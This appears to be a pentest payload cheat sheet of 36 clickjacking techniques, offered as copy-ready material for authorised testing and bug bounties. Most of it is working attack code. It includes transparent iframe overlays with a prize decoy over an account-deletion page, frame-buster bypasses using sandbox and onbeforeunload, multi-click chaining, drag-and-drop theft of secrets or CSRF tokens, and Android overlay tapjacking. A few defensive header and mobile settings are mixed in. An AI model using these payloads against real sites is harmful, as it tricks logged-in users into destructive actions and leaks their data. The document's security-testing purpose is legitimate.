Copy-ready clickjacking techniques for authorized pentests and bug bounty: detecting framing, frame-buster bypass, X-Frame-Options/CSP frame-ancestors testing, PoC overlays, drag-and-drop data theft, and mobile tapjacking. (36 payloads)
curl -sI https://target.tld/ | grep -iE 'x-frame-options|content-security-policy'<!doctype html><iframe src="https://target.tld/sensitive-action" width=900 height=700></iframe>curl -s https://target.tld/ | grep -iE 'top\.location|self !?== ?top|frameElement|window\.top'Test per-action, not just '/'. Frame the actual state-changing endpoints: /account/delete, /transfer, /settings/email, /oauth/authorize.burp: Repeater -> strip request, resend -> check 'X-Frame-Options' & 'Content-Security-Policy' on the RESPONSE for each endpointX-Frame-Options: ALLOW-FROM https://trusted.tldX-Frame-Options: DENYX-Frame-Options: SAMEORIGINContent-Security-Policy: frame-ancestors 'none'Content-Security-Policy: frame-ancestors 'self' https://*.partner.tldHeader set on page A but missing on AJAX fragment B that A injectsframe-ancestors present but XFO absent (or vice-versa) — test in MULTIPLE browsers<meta http-equiv="X-Frame-Options" content="DENY"><iframe sandbox="allow-forms allow-scripts allow-same-origin" src="https://target.tld"></iframe><iframe src="..." onload="setInterval(function(){var i=document.getElementById('f'); i.src=i.src;},10)"> (counter-reload)window.onbeforeunload = function(){ return 'stay?'; } // attacker page prompts before the buster navigates away<iframe security="restricted" src="https://target.tld"></iframe> (legacy IE)Why JS frame busting fails: it is in-page code an attacker can sandbox, race, or strip — it is NOT a browser-enforced control.Server-side defense the buster SHOULD pair with:\nif (top != self) { document.documentElement.style.display='none'; if (top.location != self.location) top.location = self.location; }<style>iframe{position:absolute;top:0;left:0;width:100%;height:100%;opacity:0.0;z-index:2}
#decoy{position:absolute;top:300px;left:380px;z-index:1}</style>
<button id=decoy>Click to win a prize!</button>
<iframe src="https://target.tld/account/delete"></iframe>iframe { transform: scale(5); transform-origin: 0 0; }<div style="overflow:hidden;width:120px;height:40px;position:absolute;top:200px;left:200px"><iframe src="https://target.tld/confirm" style="position:absolute;top:-540px;left:-260px;width:1200px;height:900px;opacity:0"></iframe></div><iframe src="https://target.tld/page#scroll-to-anchor"> + pointer-events trickery / cursor spoofing imageMulti-step PoC: stack several positioned iframes / use load+reposition timers to chain clicks (e.g. open menu -> confirm).PoC checklist: victim is authenticated in target.tld, action is state-changing & non-idempotent, no extra confirmation/CAPTCHA, no anti-CSRF that blocks framed clicks.ondragstart sets dataTransfer with attacker text; victim is tricked into dragging it INTO a framed input on target.tld<div draggable="true" ondragstart="event.dataTransfer.setData('text','[email protected]')">Drag me!</div>Reverse drag: victim drags FROM the framed page (e.g. selected secret/CSRF token) OUT to an attacker textareaContent extraction via partial-text framing + drag selection of a known field positionDefense note: drag-and-drop theft is blocked the same way as click theft — frame-ancestors/XFO prevent the framing entirely.Android: malicious app overlays a transparent View (TYPE_APPLICATION_OVERLAY / old TYPE_SYSTEM_ALERT_WINDOW) on top of a sensitive UIandroid:filterTouchesWhenObscured="true" (per-View) / view.setFilterTouchesWhenObscured(true)onFilterTouchEventForSecurity(MotionEvent) — check event.getFlags() & FLAG_WINDOW_IS_OBSCUREDWebView tapjacking: hybrid app loads framable web content -> same iframe overlay attack inside the WebViewiOS: no general cross-app overlay -> tapjacking is largely an Android problem; focus iOS testing on WKWebView framingToast-overlay / accessibility-abuse variants (pre-fix Android): brief toasts redrawn to obscure dialogsLevel up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 36 Clickjacking payloads for testing Clickjacking vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or use the HTTP Header Analyzer to apply them interactively. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all Clickjacking payloads are completely free, with no account required. Everything runs in your browser.